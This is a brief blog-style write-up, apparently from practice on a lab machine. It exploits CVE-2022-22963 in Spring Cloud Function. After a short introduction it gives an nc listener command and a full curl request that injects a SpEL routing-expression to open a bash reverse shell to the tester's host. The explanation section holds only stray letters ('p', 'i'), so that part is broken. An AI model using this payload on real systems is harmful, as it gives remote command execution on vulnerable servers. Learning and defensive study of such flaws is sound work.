Strange Security

Exploring the Strangeness of Security !

View on GitHub

Initial Access 101: Exploiting **CVE-2022-22963** Vulnerability

Introduction

I was practicing and learning when I encountered a new vulnerability. I discovered a vulnerability called ‘Local File Inclusion’ (LFI) in a web application. During my exploration, I found a file named pom.xml, which I was unaware of, So after some research i found out that it is an XML file that contains information about the project and configuration details used by Maven to build the project.

Looking through the content of file and searching on google about the spring framework boot exploit, after researching i found a poc on github for CVE-2022-22963.

CVE-2022-22963:

In Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions, when using routing functionality it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local resources.

References:

https://0x1.gitlab.io/exploit/SpringBoot-RCE/

https://github.com/me2nuk/CVE-2022-22963

https://nvd.nist.gov/vuln/detail/CVE-2022-22963

Exploitation:

Starting the listener.

nc -lvnp 443

Running the payload which will call back to my machine.

curl -X POST http://10.10.10.10:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","exec /bin/bash -i &>/dev/tcp/10.10.10.10/443 <&1"})' --data-raw 'data' -v

Explaination:

p

Got Shell

i